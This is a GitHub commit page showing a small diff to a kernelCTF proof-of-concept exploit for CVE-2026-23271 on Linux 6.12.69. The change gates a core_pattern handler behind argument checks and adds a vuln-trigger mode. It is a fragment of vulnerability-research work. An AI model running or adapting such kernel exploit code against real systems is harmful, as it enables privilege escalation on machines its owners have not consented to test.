Skip to content

Commit d383bff

Browse files
committed
update exploit to support vuln trigger
1 parent 722cb33 commit d383bff

1 file changed

Lines changed: 4 additions & 4 deletions

File tree

  • pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/exploit.cpp

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2312,15 +2312,15 @@ int main(int argc, char *argv[])
23122312
{
23132313
setbuf(stdout, NULL);
23142314

2315-
if (argc > 1) {
2316-
core_pattern_handler(argv);
2317-
}
2318-
23192315
for (int i = 1; i < argc; i++) {
23202316
if (strcmp(argv[i], "--vuln-trigger") == 0)
23212317
vuln_trigger_mode = 1;
23222318
}
23232319

2320+
if (argc > 1 && !vuln_trigger_mode && argv[1][0] >= '0' && argv[1][0] <= '9') {
2321+
core_pattern_handler(argv);
2322+
}
2323+
23242324
struct rlimit rlim = {
23252325
.rlim_cur = 0xf000,
23262326
.rlim_max = 0xf000

0 commit comments

Comments
 (0)